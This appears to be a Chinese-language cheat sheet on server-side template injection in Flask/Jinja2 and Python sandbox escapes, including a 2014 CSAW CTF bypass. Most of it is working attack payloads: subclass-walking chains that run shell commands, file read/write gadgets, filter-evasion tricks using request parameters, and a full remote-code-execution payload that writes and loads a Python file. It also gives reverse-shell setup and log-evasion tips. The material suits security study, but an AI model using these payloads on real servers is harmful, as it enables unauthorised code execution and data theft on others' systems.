Python-SSTI…
FLask(Jinja2) SSTI
Source:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
漏洞触发点:t = Template("Hello " + name)
Payload(执行id
命令,符合jinja2模板):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
Python2.7.13的Paylod:
[].__class__.__base__.__subclasses__()[60].__init__.__globals__.values()[13]['eval']('__import__("os").popen("id").read()')
精简的:
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('id')
题外:
2014CSAW-CTF2014CSAW-CTF的Python沙盒绕过
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("Nobueno")
break
else: # this means nobreak
exec data
Payload:
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['s'+'ystem']('id')
** 注:jinja需要直接执行Python代码,需要在模板环境中注册函数才能调用 **
后记
- Py2&Py3都可使用的Payload(Web上测试失败):
[a for a in [b for b in [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.__globals__.values() if b.__class__ == {}.__class__ ] if 'eval' in a.keys() ][0]['eval']('__import__("os").popen("whoami").read()')
-
Web中的Py是来之于docker的py3.5,同样无法采用具体的数组键名,发现测试
__subclasses__[x]
的值,会在同一个x时,在一个范围中发生变化. -
Py3的内置变量在重新进入Py3交互或执行脚本的时候会发生改变.
-
Py3中,没有
func_globals
,变为使用__global__.values
. -
Web上不能使用
list
函数对dict.values()进行操作.
0x01
环境:python 2.7.13
通过python内置的属性获取可以利用的对象.``
''.__class__
''.__class__.__mro__
''.__class__.__mro__[2].__subclasses__()
利用file类型进行文件读取和写入
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')
0x02
_mro_
class.__mro__
This attribute is a tuple of classes that are considered when looking for base classes during method resolution.
可以寻找到所有继承基类
_subclasses_
class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses.
获取到一个包含所有存活引用的列表.
如果class是object,就可以获取到python的内置所有类
0x03
利用和注意事项
-
Python3把file去除了;SSTI可以文件读取或python代码执行或命令执行
-
使用eval函数进行反弹shell的时候注意
/bin/sh
的软链接位置,如果为dash
,修改为/bin/bash
,先给/bin/sh
做个备份,再执行ln -s /bin/bash /bin/sh
. -
可以通过对文件的操作达到反弹shell的目的.利用框架的
request
来获取请求头中自定义的数据(Use-Agent和Referer不会被记入日志),从而向文件写入自定义内容,进而利用config.from_pyfile
来请求文件.–>参考地址 -
Bypass–>参考地址
Jinja2下
Filter list & Bypass:
__class__
request.__class__:request["__class__"]、request|attr("__class__")
如果"会被HTML实体转义(如果开启safe)
{{request[request.args.param]}}¶m=__class__
_
request.__class__:
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
[]
request.__class__:
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|join
request.__class__:
{{request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&class=class&a=_
RCE:
{%set a,b,c,d,e,f,g,h,i=request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))|attr(request.args.mro|format(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|attr(request.args.subc|format(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&payload=print+1338&a=_
Tricks
- GET:
request.args
- Cookies:
request.cookies
- Headers:
request.headers
- Environment:
request.environ
- Values:
request.values
array[0]
array.pop(0)
未完待续…